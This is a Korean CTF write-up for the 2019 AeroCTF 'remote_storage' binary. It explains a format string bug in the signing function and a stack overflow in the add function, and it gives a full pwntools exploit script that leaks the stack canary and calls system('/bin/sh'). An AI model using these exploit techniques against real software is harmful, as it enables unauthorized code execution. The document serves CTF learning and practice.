2019 aeroctf remote_storage
이 바이너리는 staically linked
이다.
근데 문제는 binary
와 libc
의 symbol
이 모두 strip
되어 있다는 것이다.
때문에 entry point
에서부터 함수 이름들을 추측해가는 수밖에 없다..
그렇게 함수를 따라가다 보면 switch
문을 만날 수 있다.
업로드, 다운로드, 서명, 추가 등이 있는데 취약점은 서명에서 발생한다.
맨 밑에 printf
를 보면 format string
이 발생한다.
sign_
의 값은 signer
와 new_hash
가 xor
연산되어 나온다. 이를 역연산하여sign_
의 값을 포맷으로 맞추면 된다.
위 취약점만으로도 익스가 가능하지만, 또다른 취약점이 발생한다.
add
함수에서 스택 오버플로우가 일어난다.
하지만 canary
가 존재한다. 이를 format string
으로 leak
한 후 system("/bin/sh")
를 실행시키면 된다.
from pwn import *
import md5
#context.log_level= 'debug'
e = ELF('storage')
s = process(e.path)
#l = ELF('1', checksec=False)
ru = lambda x: s.recvuntil(x)
sl = lambda x: s.sendline(x)
p = lambda : pause()
io = lambda : s.interactive()
sla = lambda x,y: s.sendlineafter(x,y)
sa = lambda x,y: s.sendafter(x,y)
sla(': ', 'admin')
sla(': ', 'admin')
def menu(sel):
sla('> ', sel)
system = 0x08049ED8
sign = '%95$p' + 'a'*20
signer = ''
data = 'ex'
md = md5.new(data).hexdigest()
for i in xrange(16):
signer += chr(ord(sign[i])^int(md[i*2:i*2+2],16))
log.info('md: {}'.format(md))
log.info('signer: {}'.format(signer))
menu('2')
sla(': ', 'ex')
sa(': ', data)
menu('4')
sla(': ', 'ex')
sa(': ', signer)
ru('File sign: ')
canary = int(s.recv(10),16)
log.info('canary: {}'.format(hex(canary)))
menu('5')
sla(': ', 'ex')
sla(': ', 'a')
sla(': ', 'a')
system = 0x08052CF0
pay = 'a'*256
pay += p32(canary)
pay += 'a'*12
pay += p32(system)
pay += 'BBBB'
pay += p32(0x8048000 + 0x7fb8c)
sla(': ', pay)
io()
'system > writeup' 카테고리의 다른 글
2019 besidesSF genius (0) | 2019.03.16 |
---|---|
2019 besidesSF straw-clutcher (0) | 2019.03.15 |
2016 seccon jmper (0) | 2019.03.13 |
pwnable.tw de-aslr (0) | 2019.03.11 |
pwnable.tw kidding (0) | 2019.03.10 |